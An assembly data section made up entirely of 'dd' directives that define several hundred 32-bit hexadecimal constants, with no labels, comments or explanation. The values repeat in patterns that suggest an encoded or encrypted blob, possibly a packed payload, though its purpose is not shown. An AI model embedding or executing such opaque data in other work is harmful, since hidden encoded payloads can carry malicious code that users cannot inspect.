		dd 5FCFBB20h, 5753CCB1h, 5649343Dh, 4503B132h, 5F75B132h
		dd 0B53948A9h, 0E908F525h, 0C08E9965h, 0C08DD9E2h, 1F1BC2B8h
		dd 56D5A3DBh, 0F3BBE532h, 5216C9ABh, 3A2D05CCh,	6A84F718h
		dd 5974DF88h, 5657B8B5h, 0CFDD132h, 0C0B3054h, 5940D003h
		dd 5675BDBAh, 503ABE32h, 595DB132h, 56AEB1B6h, 59EFD732h
		dd 56A458B7h, 72FEB132h, 0F482E67h, 0BC08B9D4h,	0B5114881h
		dd 36F6D70Dh, 37C554B2h, 5711073Dh, 56A33B3Dh, 0D8DAB132h
		dd 56EAB130h, 0AADED052h, 56BA3ADBh, 56515832h,	8E16B132h
		dd 43110F2Dh, 0D8E7BE92h, 2B565215h, 0D3E5B3CAh, 5675B153h
		dd 0A13BD752h, 303CB854h, 5967BA8Ah, 5657B0B4h,	0FDCD4D32h
		dd 56C45952h, 47F7B132h, 0BABDC419h, 7F681985h,	1AC910F6h
		dd 0D6BA502Fh, 5909ADD0h, 56ABB4BBh, 8E54D732h,	308B329Ah
		dd 59F1BE8Ah, 56BABDBEh, 50D5BE32h, 59AEB132h, 5657B1B2h
		dd 0AA00D732h, 5793073Dh, 0BF131ACBh, 5675B122h, 591E42CBh
		dd 565DB6B2h, 0D7C8D132h, 371102E8h, 444276B9h,	0F5D5B132h
		dd 285EC672h, 93877124h, 0E358233Ah, 0DEE79FD0h, 0D5A1EA62h
		dd 5657B12Dh, 56B2333Dh, 423CB132h, 9EEAB132h, 0FA4DCC44h
		dd 6620BA2Eh, 29ED7E9Ch, 11B62B91h, 5982F1E3h, 56ABB0B8h
		dd 368C4D32h, 6B15EB2h,	372A8281h, 4232BE6Ch, 595DB132h
		dd 56AEBFB4h, 565E5832h, 9F19B132h, 81E2E98Bh, 9CBCE0Ch
		dd 5674333Dh, 9F4FB132h, 565573CBh, 0F97F3052h,	5906F698h
		dd 56ABB3B1h, 37620332h, 4F62BE67h, 0BF75B132h,	56BAB126h
		dd 0D278DD3Ah, 52993E48h, 3FF7EE60h, 0A3D5B440h, 5882D44Ch
		dd 0DCE55DB9h, 5675B13Eh, 56BC3E3Dh, 0DA52B132h, 56AEB132h
		dd 5658303Dh, 5C42B132h, 0D6D5B132h, 0D25E64B2h, 2BC17D99h
		dd 0DEB5D1CCh, 565DB135h, 8F19BE52h, 0BE367A80h, 56ABB132h
		dd 5F3F3068h, 36ECAA98h, 5675B6DBh, 8BD11B32h, 0FEF4DED2h
		dd 56AEA2DBh, 0BCB41932h, 61087B0Bh, 0D0D3370Ah, 44A39D06h
		dd 0EB7C2938h, 56B35853h, 0D85B132h, 0C9B231C3h, 0DD0322D1h
		dd 0DCCBB977h, 0D45CD0C6h, 50F1CB74h, 5675B9DBh, 0C7070732h
		dd 0E93DC747h, 5947D0BAh, 0F157B132h, 0C93A96AEh, 0A799F9FCh
		dd 9A0ECBE1h, 36BCF32Dh, 59623A54h, 943C498Dh, 4747B136h
		dd 0E357B132h, 4BAA5CAEh, 94EC03B6h, 0C3EDEA64h, 53DB778Ah
		dd 4253D167h, 0A85DB132h, 0DBF5F56Fh, 0CDEA6143h, 2962B13Fh
		dd 1FEA34B0h, 37753781h, 0AA895DB9h, 0AA4275B1h, 565C383Dh
		dd 365BB132h, 5657BBDBh, 7EFD6032h, 0C656C90Bh,	0BE442086h
		dd 5675B132h, 83503068h, 595BAA98h, 56AEB0B2h, 42BE4D32h
		dd 75ABB132h, 411D07A6h, 0E9422B21h, 8DCB6BB2h,	3466AAAEh
		dd 91E7CD72h, 56AE4977h, 91A2B132h, 56AB4D77h, 0D2DAB132h
		dd 56EAB133h, 59B582CBh, 56BAB4B2h, 0DD3BD132h,	0DDC8D0F1h
		dd 91AE482Ch, 4DD79FB0h, 56D5B034h, 8C6BD132h, 4A4394F4h
		dd 438F0B54h, 0ADDCD753h
		dd 0D3A121A2h, 5657B13Ah, 56AA3D3Dh, 0A32DB132h, 59024AB2h
		dd 56714DB6h, 4752D132h, 5DB132h, 0BF0A0FBFh, 261E1B8Ah
		dd 725DF2BCh, 8C190044h, 3C100B54h, 66BE306Bh, 37C2D1EFh
		dd 564E5872h, 0A29BB132h, 0C219D1EDh, 4BD4BB41h, 51D48650h
		dd 38E2D099h, 9EFED1CAh, 56BAA3DAh, 0A2F80B32h,	0DFB797FDh
		dd 4967204Ch, 7FDA1574h, 302C20CBh, 37B476B9h, 599C4AB2h
		dd 56BE29B6h, 56575832h, 63D3B132h, 0AF3A16B3h,	749FFD2Fh
		dd 56DE3E3Dh, 0D68AB132h, 8FF4B7FEh, 2254C3DFh,	0D6A4F153h
		dd 0D2A15AC9h, 5657B55Fh, 56ABB7DBh, 49145432h,	16C06213h
		dd 0D6144952h, 535341D5h, 9F5DB132h, 2919D8DDh,	59AC3054h
		dd 102FBEB2h, 36D5B136h, 0AF240E3Dh, 8FF7B253h,	59BCA41Ah
		dd 565DBBBCh, 37CED132h, 0E4A779B3h, 0BFCA9665h, 56D5B13Ch
		dd 26A31B8Ah, 7283F2BCh, 8C760044h, 361D6F50h, 56AEBCDBh
		dd 3618ED32h, 0B10964ACh, 6BC72B2Fh, 0E98C6731h, 0D6149F44h
		dd 0D2B553C9h, 565DB2FFh, 56AF3F3Dh, 0D6AFB132h, 0D2A452C9h
		dd 56D5B294h, 0AD6BD7C7h, 0D27A5255h, 56BAB283h, 0A6BE31CBh
		dd 5324BE52h, 0EF57B132h, 25CB4696h, 0D4DAD0CEh, 56EAB13Eh
		dd 56733D3Dh, 0DCB5B132h, 565DB132h, 59DE4AB2h,	56541DB6h
		dd 0DDCDD132h, 9154D7CAh, 0BF8BF98Ah, 5675B139h, 553125B4h
		dd 0E19EAF36h, 30FBB19Bh, 0D558AFB9h, 56ABB133h, 0AE3631CBh
		dd 4C52D752h, 0ADF5D057h, 993EBE8Ah, 0AA5DB133h, 0EEC84952h
		dd 0D636F1A3h, 0D2A4B40Ch, 56D5B08Ch, 7BD431CEh, 57C1353Dh
		dd 0D7DAB132h, 9181CFF3h, 56BC5874h, 54D3B132h,	3314828Ch
		dd 543D8EECh, 0E11A3708h, 0F139677Eh, 3E843153h, 57D1353Dh
		dd 0BFCEB132h, 5657B123h, 0DECF59B3h, 753EDB18h, 748C0002h
		dd 0BCF49FF9h, 56B5587Dh, 5145B132h, 1B253FFAh,	3B869BBBh
		dd 13E3BC41h, 0AF95D016h, 2AC433CDh, 539CB729h,	0D8BAB132h
		dd 5A656C81h, 0AAB03A54h, 59AF56B2h, 56ABA6BEh,	56C75832h
		dd 0EF04B132h, 42C38975h, 0B5CBCF5Bh, 17CBB24Fh, 0FCB5D32Bh
		dd 0D7AC3054h, 492FBEDAh, 59D5B133h, 56EAA2BBh,	5BF6BE32h
		dd 0BFBAB132h, 565DB13Ah, 0F75A7655h, 75F61CD6h, 0BFB53A54h
		dd 56D5B123h, 0AA7ACAEFh, 95C8F9E7h, 0C00A812Eh, 0AA9A2E52h
		dd 4328BE10h, 0BF57B132h, 56ABB122h, 236697ABh,	0DBB3EAF2h
		dd 456719C5h, 0B30DAE95h, 0BFAD56B2h, 56AEB13Bh, 4D82505Eh
		dd 2B642085h, 0D7B3D1E5h, 0BE25E2C5h, 5675B13Ch, 6CBEEEA4h
		dd 0FCC2BC1Ah, 0D600AAD4h, 0D2586801h, 56ABB132h, 0D7B3D06Bh
		dd 592A30C9h, 567524B6h, 56BF5832h, 544BB132h, 3622C69Ah
		dd 565B303Dh, 0DBA4B132h, 56D5B134h, 56EA333Dh,	0BF20B132h
		dd 56BAB13Eh, 4CF69A7h,	44932AFFh, 1BC723A4h, 2C2823CDh
		dd 30B5B729h, 9D6B4BB9h, 74838B72h, 0BFDAEC53h,	565DB135h
		dd 0C7D21C73h, 0DD319E34h, 1322D0F5h, 56C158CEh, 0FBB2B132h
		dd 4E695A7Fh, 0F849131Bh, 63111D7Ah, 0E9DE0E8h,	5936D193h
		dd 56ABB9B7h, 5453BE32h, 36EAB132h, 0AA083253h,	333FBE33h
		dd 0BF5DB134h, 56AEB13Bh, 0B193C662h, 856B0CEDh, 0EC5E4469h
		dd 50FFB2FBh, 296E0B52h, 0D9B5AABBh, 565DB134h,	709879B3h
		dd 63681F7h, 56A758CBh,	271FB132h, 0C33FD2A5h, 16F8293Ch
		dd 0D4312783h, 5046CD1Ch, 9119BE52h, 5652313Dh,	1A13B132h
		dd 37D164BFh, 0A3DA8D0Bh, 5FF7BE6Ah, 0BFBAB134h, 565DB137h
		dd 90FD8DF2h, 0DBED3AF5h, 0A3ADA430h, 0D45E4962h, 50F1CD1Ch
		dd 53F9BE52h, 30BAB132h, 5E707FB3h, 56AC343Dh, 3737B132h
		dd 66978853h, 56DC5852h, 2157B132h, 0B08CF5B9h,	0A307CA9Ah
		dd 0D952E953h, 56AEB4F2h, 79ED3ACAh, 0A3ADAA48h, 2CFA33B1h
		dd 36FEB729h, 56733C3Dh, 0DBB5B132h, 565DB132h,	56AEB7DBh
		dd 46013832h, 37B1062Ch, 0BF2086BBh, 56EAB121h,	4E0F048h
		dd 4B060074h, 4B5664A3h, 72FE9AA4h, 0DFF7102Ah,	653A175h
		dd 78573ACEh, 0BFECAA4Eh, 5675B138h, 0FAB4A34h,	0E1B9B299h
		dd 0D2A189A2h, 5657B120h, 56ABBCDBh, 8BB81232h,	1A7CF570h
		dd 6AFC26D5h, 4A3179F8h, 564D5802h, 8765B132h, 0F6998AEh
		dd 0BB2872F8h, 3D49BA5Ch, 0BFB2454Dh, 5675B135h, 6D4B75CBh
		dd 0DF44A9DEh, 59CEB96Dh, 5657B2B9h, 2B7C3132h,	178769B3h
		dd 0BF8BD511h, 5675B43Eh, 413DBECEh, 0BF5DB132h, 56AEB120h
		dd 9143457Eh, 5B769769h, 12A1C30h, 0FE32AA5Ah, 13B2AE3Fh
		dd 56BAB3CAh, 64B44D32h, 36AEB132h, 300A68B2h, 0DB8E7EB3h
		dd 0AE907653h, 56EAB133h, 0C9843052h, 59871759h, 565DA2BAh
		dd 56A05832h, 0B52FB132h, 0F108C08h, 0F397359Fh, 57EDFFEh
		dd 79CF3A53h, 59BCAA48h, 565DBDBDh, 56A95832h, 200EB132h
		dd 12C1EC6Eh, 795732CCh, 42ECAA48h, 5675A3DBh, 264DF432h
		dd 1074259Eh, 62F55C2Ch, 784FFA11h, 0DFBA1EC2h,	56D85805h
		dd 0A172B132h, 8E030C7Fh, 0E52BE28Fh, 36DE96DCh, 56AEA3DAh
		dd 0C85FA32h, 0AC266B0Bh, 331F02FFh, 81A10109h,	0BF99B3C0h
		dd 56BAB13Eh, 27D52014h, 0D859F277h, 3CB16A2Ah,	0B72AD76Dh
		dd 0DFB4BA45h, 0D516A175h, 0D37AB2CAh, 56BAB172h, 0EE3DD1CAh
		dd 1977FF69h, 5657B4DBh, 1D1CD32h, 59B4B98Fh, 56EAB2B6h
		dd 91C2BE32h, 78387653h, 545BAA4Eh, 59AEB132h, 5657BCB4h
		dd 56A35832h, 4D9DB132h, 26C746CAh, 4B9CBD50h, 0AEBAB132h
		dd 595F49B1h, 56ACFDBFh, 56595832h, 4F23B132h, 2EAA8EF9h
		dd 0D951AA2Bh, 0FF54E45Ch, 5642CCB1h, 5692353Dh, 0DEA1B132h
		dd 5657B135h, 56AA303Dh, 5929B132h, 0AAEBF784h,	5675319Bh
		dd 393FBE32h, 365DB132h, 0F20C0A54h, 379D063Dh,	412CBE72h
		dd 0BFD5B132h, 56EAB120h, 78ABC3AAh, 7B4103ECh,	0F23E695Eh
		dd 0F63C378Eh, 0BED45AD0h, 0BFCB4437h, 56D5B120h, 8F62B8AFh
		dd 818E9DACh, 0B4D239D0h, 12D4BE91h, 594754E5h,	1457B132h
		dd 0DDAC90B9h, 3C022206h, 0C852CCC4h, 0BF14614Fh, 56BAB17Dh
		dd 565DBCDBh, 0F5829732h, 0FB0DF43h, 3ACF4D03h,	0A9F811F3h
		dd 0BFEAB132h, 5675B126h, 56ED366Dh, 9368E801h,	554E5083h
		dd 7870E239h, 0C0E97657h, 0BFD059B1h, 56EAB13Eh, 7C10E283h
		dd 35C666B7h, 4A8B2D1Ah, 37CED152h, 0D636D052h,	0BFCA73D6h
		dd 56D5B12Fh, 5F03E2CEh, 1F75B132h, 477CB478h, 916DD84Ch
		dd 2A802BB9h, 0DDABB729h, 0D528236h, 56D518C7h,	0D3E53132h
		dd 5675B190h, 56BB3D3Dh, 55A8B132h, 5723BEF4h, 0A357B132h
		dd 0BFAE71B1h, 56D5B13Bh, 0C2250378h, 0B7E3D2F0h, 7838B26Dh
		dd 0BF5BAA4Eh, 56AEB137h, 0DDEBA679h, 0DF57F9F9h, 0D1DAB975h
		dd 56EAB129h, 56645952h, 5708B132h, 0EFE9C946h,	1ACB546Fh
		dd 2B456BAEh, 0C35988Eh, 36B4D052h, 0D7380E3Dh,	0A03E10F9h
		dd 1133D019h, 5649583Eh, 6D40B132h, 3FD98791h, 0F5277012h
		dd 27C00023h, 0DAE3087Ah, 1F9C2CD9h, 59BAB130h,	565DA9BDh
		dd 4646D132h, 0BF57B132h, 6A86BA77h, 0CCA4E6BCh, 9A68F50Ch
		dd 0CCEE9CFh, 8E4D4953h, 369B9ACBh, 56A8353Dh, 0D258B132h
		dd 56ABB132h, 37665CB2h, 0DD8A69C5h, 57FABEE1h,	0AEBAB132h
		dd 539D3253h, 56AF303Dh, 55AEB132h, 4DD79FB0h, 5E5ABE34h
		dd 59EAB132h, 5675B3BDh, 1EDBD132h, 52DEBE52h, 30AEB132h
		dd 0BFA56789h, 56ABB134h, 0DF1F4ED8h, 0AA8BD7FBh, 0BF7DF6BBh
		dd 56BAB123h, 0F3144803h
		dd 250906B3h, 7B511EFDh, 89B87BBBh, 5A92387Bh, 44870952h
		dd 3780B48Ah, 56BB16DBh, 56525832h, 0B411B132h,	901DF112h
		dd 14FD6A9Ah, 68BD15FDh, 592A82B8h, 5675AAB9h, 4339BE32h
		dd 0BF5DB132h, 56AEB122h, 148D1DFCh, 3A41FD19h,	57E8E93Dh
		dd 0AA3E79FFh, 0BF74F7B8h, 56BAB13Fh, 0FA34534Ch, 5D42ADCDh
		dd 0ECA50E78h, 552CBE76h, 36D5B132h, 0D642D0CEh, 5698343Dh
		dd 0D4B5B132h, 565DB133h, 3668B2CBh, 5657B9DBh,	1C758732h
		dd 4A4FAEA6h, 9669D04Bh, 5E9CD130h, 3EBAB132h, 0CE36D605h
		dd 0BE4A4CB2h, 5657B120h, 25BF419Fh, 6BA03FB8h,	782B036Eh
		dd 4C724BEDh, 0E1B511F7h, 0ED3CEBE9h, 56AEB133h, 56593C3Dh
		dd 0DCCBB132h, 56D058CCh, 6099B132h, 37E1FBECh,	0D2B56A39h
		dd 565DB170h, 56AEB6DBh, 34840832h, 7C52B16Fh, 0EF4F3BCEh
		dd 36ECAB8Bh, 0FD4977B3h, 0DDDCADF8h, 0B5DDD0C8h, 5A46D133h
		dd 7757B132h, 3836A1D9h, 59D59209h, 0DD2E949Eh,	509CEEC3h
		dd 0C0BAB132h, 22D7C0D5h, 95ADD059h, 565D5952h,	2BE3B132h
		dd 0AC64ED98h, 0AFD5442Bh, 0E92CD052h, 56AA7B0h, 5E1A3853h
		dd 5AE938CEh, 0B1940A52h, 0DDCDF8FAh, 273CD0ECh, 0AAEAB132h
		dd 5675BFDBh, 6145FC32h, 0A8473746h, 2C1A52C0h,	0A145A96Dh
		dd 0A98E49EAh, 0BFD5B132h, 56EAB13Ch, 6ECF8FAAh, 0E38A7681h
		dd 0E0ECD19Ah, 0D2A15B51h, 5657B135h, 0D6E70252h, 7DB430E1h
		dd 8E1D49F4h, 62943052h, 37953F88h, 0A35F71B1h,	59A6F6BBh
		dd 5657BDB2h, 5020BE32h, 59D5B132h, 56EAB1B2h, 5A323832h
		dd 56BAB6DBh, 0D3018F32h, 204C9C5Bh, 50D2BECAh,	36ABB132h
		dd 6DC0954h, 9F1FD053h,	59933B52h, 56BABFB0h, 56545832h
		dd 9F24B132h, 0F8B9B9D3h, 372B9DAFh, 56C558F1h,	2C0BB132h
		dd 77FA25C8h, 4C185711h, 19880C20h, 0BECEB071h,	5657B13Eh
		dd 2E71F391h, 1D990B18h, 4BB185E1h, 56753A3Dh, 30E0B132h
		dd 28E59B3h, 4247E453h,	2857B132h, 0A064752Dh, 4D9C66FAh
		dd 4CC2D0F9h, 4E3B2D32h, 0DDC42FA9h, 565B58DEh,	0BF57B132h
		dd 0F5E943C9h, 0A35775B1h, 563D4952h, 0CEAB132h, 0E3E55BB3h
		dd 5953B729h, 0F35DB132h, 0C184AE16h, 0B4A096A0h, 32E64D5Ah
		dd 533C0AADh, 8EAB132h,	0A791842Ch, 2F440BB9h, 5FB4B729h
		dd 0E2AEB132h, 94C6B137h, 0CCC1428Ch, 0D52C7801h, 0D2E5B10Dh
		dd 5675B5A0h, 0BFBD3ACBh, 565DB120h, 0ABDFA1BDh, 5EA74019h
		dd 0DBBB4A65h, 4BC3747Ah, 0DCE5F501h, 5675B120h, 56B6373Dh
		dd 51B4B132h, 0A5AEB132h, 0F8C7CCECh, 2354E65Dh, 56DD583Eh
		dd 0E07EB132h, 0CC66A6FAh, 59DA0E9Ah, 0BF0A628Dh, 56AEB134h
		dd 7CDCAC6Ch, 37F54939h, 0BFDDC4CDh, 56EAB13Bh,	0FE1CF788h
		dd 5D931296h, 0BEA1E1C3h, 56AEB9CEh, 5997BACBh,	56ABF1B7h
		dd 4659BE32h, 0BFEAB132h, 5675B139h, 0DDE085F6h, 783AF52Bh
		dd 0DD095197h, 56435835h, 7625B132h, 0E57A538Eh, 39D3B89Eh
		dd 8A26A3DAh, 0BA7E108h, 65B49013h, 0BFAEB132h,	5657B137h
		dd 0E6DB9AC4h, 42123264h, 56EABBDBh, 155A5832h,	3F4E3E13h
		dd 0BF101F2Ch, 0A9514E19h, 5657BCDBh, 0C6B98E32h, 0E08FD0FFh
		dd 24E6BDF4h, 13FC86B8h, 56BD58CEh, 0C896B132h,	0B0B52F1Ch
		dd 5A224E18h, 56BF3E3Dh, 593CB132h, 9AEAB132h, 18DE4FD7h
		dd 3AB9429Fh, 10E06C64h, 2351EE58h, 61A8483Ah, 5EF959CAh
		dd 513CB132h, 0B2EAB132h, 0B7BF176h, 96B1C2E6h,	566F353Dh
		dd 0D3A1B132h, 5657B133h, 55F758CBh, 59B5B132h,	56EABFB3h
		dd 567C5832h, 88E9B132h, 4FC4556Fh, 0BE0432F8h,	5657B13Ah
		dd 7861C37Eh, 4369D820h, 37B542B9h, 3689F4B9h, 0AF410E3Dh
		dd 595A8853h, 56AD94B0h, 57DDBE32h, 0A3ABB132h,	0BF29F4CDh
		dd 56EAB13Eh, 0BB63D53h, 0F0199A45h, 1C6B4669h,	56AACEB1h
		dd 5612353Dh, 0D5A4B132h, 56D5B13Bh, 30710252h,	17D259B3h
		dd 5AC53253h, 7AD9BE32h, 0AAAEB132h, 5657EEDBh,	982AD132h
		dd 3AC699CDh, 56EABDDBh, 8E17B532h, 0C95F7EBBh,	6CB2B500h
		dd 0D3A1D0D3h, 5657B135h, 0D8850A52h, 0EEB4A4DBh, 0A9154ECDh
		dd 5675A0DBh, 84D83732h, 0DA76B399h, 0AABAEA3Fh, 0BA6F8C4Bh
		dd 5312DD35h, 0A3D5B132h, 308A1AC1h, 0D07A61B9h, 56BAB133h
		dd 0B4B4D0C7h, 36514ECCh, 378B76B2h, 53BBCEB1h,	565C353Dh
		dd 4203B132h, 0CE75B132h, 292E5BD6h, 37F1FA95h,	9D372779h
		dd 0B5DA3C8Dh, 0D5F7800Bh, 59D3A14Dh, 56EACBB7h, 567E5832h
		dd 9903B132h, 625801A7h, 8AF03F97h, 0E831D165h,	17CAD3F7h
		dd 56D4383Dh, 0AA16B132h, 5971F6B9h, 56BAB0B1h,	9D64932h
		dd 56BD583Eh, 6526B132h, 596F6ECAh, 958CC892h, 0E739472Ah
		dd 31BA2A35h, 4033BE41h, 0BF5DB132h, 56AEB123h,	0E7A0BDCDh
		dd 0FCF02AB1h, 5BDEEB8h, 0C4BB3AA0h, 57E758E3h,	0DD4FB132h
		dd 0DDA4B575h, 0D7A1BD6Dh, 5657B133h, 57CD58CEh, 0DD2CB132h
		dd 0AF8AB575h, 5673343Dh, 0D8B5B132h, 565DB132h, 5AF13A53h
		dd 56513B3Dh, 0AECBB132h, 37050E3Dh, 59E2EE09h,	567570B7h
		dd 5A3ABE32h, 595DB132h, 56AEB7B1h, 56D0BE32h, 4ABB132h
		dd 56C1383Dh, 5903B132h, 0E75B132h, 241BCB0Ch, 6940AFFh
		dd 0B1BCE00h, 1DC2BBBh,	56BF5836h, 0CC7DB132h, 509DB38Dh
		dd 0AE77F717h, 0A29C61C6h, 72D77044h, 385A378h,	51D3BE22h
		dd 59ABB132h, 56D5B0B0h, 551F4D32h, 0D67AA567h,	56BAB13Ch
		dd 565A5852h, 0F952B132h, 0CAFF805Fh, 920D064h,	8CFE483Eh
		dd 530132CBh, 0B4CDD752h, 0A03BD715h, 0C3C18FFh, 56AEBADBh
		dd 0E92C4332h, 2ECB28CFh, 0FBCD5122h, 56EAC9DBh, 3015D132h
		dd 60E767B3h, 565D3E3Dh, 0BFCFB132h, 5657B123h,	306F29EDh
		dd 0FB3ECD2Dh, 0F571FFCh, 2B2367Dh, 1131D091h, 564F5836h
		dd 7E43B132h, 10F32C44h, 0B7C36C11h, 0EEBFA8CBh, 70051187h
		dd 0AA79EEB9h, 853BD752h, 0DB520545h, 56AEB130h, 7D36D052h
		dd 4542B56Dh, 64D5B132h, 5E22803Fh, 0A5968EADh,	6D40DACBh
		dd 0BC95626Dh, 0BD2DADE2h, 0DC544D37h, 50BE9657h, 46AA32CEh
		dd 4B6FBE31h, 0BF75B132h, 56BAB122h, 0D54F8981h, 0EFF5D100h
		dd 1498198h, 9E979633h,	575CBE73h, 0AFEAB132h, 0DF7A6819h
		dd 56BAB122h, 56573B3Dh, 5347B132h, 0BC57B132h,	3AC730EAh
		dd 57D4EDBBh, 56E73F3Dh, 5E9CB132h, 24BAB132h, 0E6FEEC25h
		dd 0EE89C3D1h, 0A9A84ECDh, 56AE08C7h, 0DDB5B132h, 4069BEFCh
		dd 0BF75B132h, 56BAB123h, 6896A382h, 0AE64FD39h, 7A7476DEh
		dd 0CE76BCh, 0FD26D056h, 9D61D752h, 59148A83h, 56BAB0B4h
		dd 34B44932h, 59514ECEh, 5657B0BDh, 0AFCA4D32h,	59B5D1FBh
		dd 56EAB1B5h, 56F1BE32h, 37BAB132h, 565DBADBh, 3EB96632h
		dd 0E28CA7E9h, 0C87E5340h, 56C57353h, 56EABBDBh, 0F9B88F32h
		dd 3D76A126h, 359D03Dh,	0AE423ACEh, 0AEAB75B1h,	1A1AD152h
		dd 56D6383Dh, 0E1E5B132h, 569DD0C5h, 0CBAB132h,	0ECE55BB3h
		dd 0DEA1B729h, 5657B125h, 56ABA3DBh, 0DD736232h, 2672CA97h
		dd 1A4B6395h, 0D114893Dh, 0AFC8824Eh, 2F500BB9h, 65ABB729h
		dd 0D3A4D1FBh, 56D5B134h, 0B9B541B3h, 0B0FFD02Ch, 56AE5853h
		dd 8C7FB132h, 53FD60EAh, 0CB843347h, 2CFEA00Dh,	3A439524h
		dd 69697D29h, 8DF1BE32h, 0BFBAB131h, 565DB138h,	172EFBCh
		dd 0A2315A0Dh, 0D9A46804h, 56D5B13Eh, 56EC343Dh, 0DD7AB132h
		dd 56BAB132h, 59B4B6B9h
		dd 91AEB132h, 0F746C283h, 9DA146EDh, 181730E4h,	2315E994h
		dd 5EFEBE3Eh, 59BAB132h, 565DB3B4h, 59CFD132h, 5657B6B9h
		dd 572FBE32h, 0AED5B132h, 0A3E2C4CDh, 10C7D162h, 56BAB8DBh
		dd 0CFFFEE32h, 0E548634Dh, 0BE361887h, 56ABB286h, 56D5BDDBh
		dd 0E2284632h, 9397F3E9h, 0A509150Ah, 599DBA7Bh, 56AEFCB7h
		dd 0E931D132h, 9721D3A2h, 5C5EBE53h, 36EAB132h,	0B97041B3h
		dd 37DAECE4h, 365A3A53h, 56AEA5DBh, 0B96BAD32h,	7F427630h
		dd 0AC7CB033h, 0E9164393h, 0B2559786h, 0A301D700h, 60B4D0C7h
		dd 0BFAEB132h, 5657B138h, 0D4DC5F31h, 2547FAFFh, 9169BBFAh
		dd 51F9BE26h, 59BAB132h, 565DB0B2h, 5D474932h, 59A84ECDh
		dd 56ABBDBEh, 0A6AD132h, 30FABA80h, 995D43B3h, 0AAFF3853h
		dd 565DBBDBh, 3BAD3332h, 72F7B50Fh, 0A90EC0DAh,	0D7DABD47h
		dd 56EAB124h, 5675A0DBh, 72632F32h, 9F23C021h, 0BE4DB7EFh
		dd 2F719E74h, 23543E85h, 0A9294D3Ah, 0D78CD105h, 6A438E1h
		dd 56BABDDBh, 1B2A5E32h, 0FB48150Fh, 7C1C14E9h,	0BECAE879h
		dd 56D5B3E2h, 56EB313Dh, 3680B132h, 2FE60854h, 599DBA53h
		dd 56AE9BB6h, 5BD8BE32h, 36ABB132h, 3A1B3054h, 2021306Fh
		dd 3705EA2Ch, 56B8E8DBh, 56505832h, 84EEB132h, 0E9933E43h
		dd 0B3EB70BEh, 0DD74FAD8h, 0D3E54D77h, 5675B131h, 6FDB4952h
		dd 65DFBE35h, 36AEB130h, 0CCA63054h, 45B30AFh, 37E0298Ah
		dd 5916F4CDh, 5675B0B7h, 29394432h, 0D252B136h,	56AEB117h
		dd 5A2832CEh, 4C2FBE32h, 36D5B132h, 0C01D57B3h,	80FEF0A4h
		dd 56DA5853h, 0AA3DB132h, 562ABE65h, 857B132h, 0A9540953h
		dd 7B54ECDh, 56EABFDBh,	6520432h, 0B31D3852h, 0C8C07115h
		dd 8E40D7Ah, 5657BFDBh,	7C573E32h, 0ECC87604h, 0E5DE5A57h
		dd 37DA2CB1h, 56BAB48Bh, 0FDAE4D32h, 56A63D3Dh,	0D358B132h
		dd 56ABB130h, 8E3CD052h, 36154ECCh, 9E7B0A54h, 0D7793054h
		dd 29DED034h, 0D2A1B422h, 5657B1A2h, 56ABBCDBh,	7C71732h
		dd 619BD09h, 8714038Eh,	2939B768h, 0D352B722h, 56AEB197h
		dd 5657B4DBh, 0D39CF732h, 3694A760h, 59034D52h,	0BE75B132h
		dd 0D5D00355h, 57BD5E38h, 7654DFA8h, 3736FB5Ah,	52EC3AC7h
		dd 0BF293B52h, 56EAB13Ah, 9E30E5E3h, 634FDE6Eh,	5A023A53h
		dd 56AEA3DBh, 0F92E5F32h, 0EF9BAA32h, 735AE9D3h, 5D6CA637h
		dd 0BF5DF4C6h, 56BAB187h, 564C5852h, 0A81B132h,	0C66A5036h
		dd 0BDC737DCh, 0AD12458Fh, 46D212h, 0AA14EECEh,	0AABEF6B9h
		dd 0BF51EEB9h, 56AEB121h, 2E1FCBEDh, 477D6A1Ah,	0B07A1E1Ch
		dd 9A788B84h, 0AE45C0DFh, 56BAC0DBh, 565A5832h,	3EDDB132h
		dd 9B79C15h, 52EC3ADCh,	56D5A2DBh, 4D766A32h, 2A35D3EEh
		dd 2B4B1F88h, 0E85651ABh, 6FDC44A8h, 5A083ACBh,	52F49AC7h
		dd 56DC5852h, 265DB132h, 22294EDEh, 0E9FF5E67h,	7C967F8Eh
		dd 53453253h, 462832CAh, 492EBE31h, 36D5B132h, 65B00954h
		dd 0C2DE361h, 5946F053h, 565DBCB7h, 56A65832h, 5ECDB132h
		dd 2069A8D3h, 8FFE9865h, 57B638C7h, 5C9CD133h, 3FBAB132h
		dd 0D4140D2Fh, 0B766E16Dh, 0A9EFD06Bh, 0BF544ECDh, 56D5B138h
		dd 57DC3D8Ch, 862FE222h, 5303C59Eh, 365DB132h, 0CDE4A28Bh
		dd 6EDD742h, 0FD58D032h, 56D858CBh, 77B1B132h, 34717685h
		dd 0B37538EAh, 0BF5983ADh, 0A9514C75h, 565B323Dh, 0D4A4B132h
		dd 56D5B134h, 56EA383Dh, 0A314B132h, 0E9B5D1FBh, 564E59EDh
		dd 6CCCB132h, 22285AD4h, 0EA22A6FCh, 57382D87h,	6F58352Fh
		dd 372C44F0h, 56BABDDBh, 6ADD6032h, 4C2CEA1h, 91E18C25h
		dd 56A373AFh, 56D5BEDBh, 0BE816632h, 633FE88Ch,	9A57B85Ah
		dd 913C2184h, 56A25867h, 0B4A0B132h, 32E64D5Ah,	7260AADh
		dd 0BA61FAF8h, 0BBCFD752h, 56B15861h, 8526B132h, 0BF461D96h
		dd 6467FFB6h, 9228D02Dh, 56DF58CEh, 0F2ADB132h,	0E1D11DD2h
		dd 8101B2E2h, 564F5852h, 0C27B132h, 75599F7Ch, 95443297h
		dd 0B6482B64h, 0E701611Dh, 367DF4B9h, 66753054h, 6D3C445Ch
		dd 0D4A1BD77h, 5657B166h, 56AA3F3Dh, 0AA20B132h, 59FAF409h
		dd 5675F2B5h, 463BBE32h, 0BF5DB132h, 56AEB139h,	55E5871Dh
		dd 4931B9EFh, 915F9A32h, 56EA4D77h, 0D17AB132h,	56BAB13Fh
		dd 565DB9DBh, 0E411BB32h, 2F3F7420h, 56A35863h,	591AB132h
		dd 0D3A07837h, 709C4B05h, 0AEBAB132h, 57A1F4F5h, 36AEB132h
		dd 2FD60A54h, 56B85853h, 0D4DAB132h, 56EAB13Eh,	5675B6DBh
		dd 42581A32h, 266207D7h, 0DD57D0CBh, 5EBE4D77h,	9CABB132h
		dd 72ECCD27h, 9FB3AB41h, 5675BCDBh, 94BFBF32h, 0DF6CED18h
		dd 0BF151CF4h, 5EBEA5B7h, 0BABB132h, 0EAE3E055h, 94C2B68Ah
		dd 598DB13Eh, 56BAB0BCh, 59084832h, 56AEB9B7h, 54DABE32h
